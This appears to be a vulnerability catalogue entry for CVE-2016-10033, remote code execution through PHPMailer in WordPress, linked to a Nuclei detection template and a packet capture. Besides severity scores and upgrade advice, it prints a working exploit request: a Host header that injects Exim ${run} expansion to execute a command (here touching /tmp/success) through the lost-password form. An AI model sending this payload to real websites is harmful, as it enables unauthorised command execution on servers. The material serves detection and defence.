| Title | WordPress PHPMailer < 5.2.18 - Remote Code Execution |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected WordPress website. |
| Remediation | Upgrade PHPMailer to version 5.2.18 or higher to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94457 |
| CVE ID | CVE-2016-10033 |
| CWE ID | CWE-88 |
| Tags | cve cve2016 seclists rce edb wordpress phpmailer_project kev vkev vuln |
WordPress PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a “ (backslash double quote) in a crafted Sender property in isMail transport.
GET /?author=1 HTTP/1.1
Host: www.victim.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Accept: */*
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=G3U524
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-10033.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-10033.pcap
N/AN/A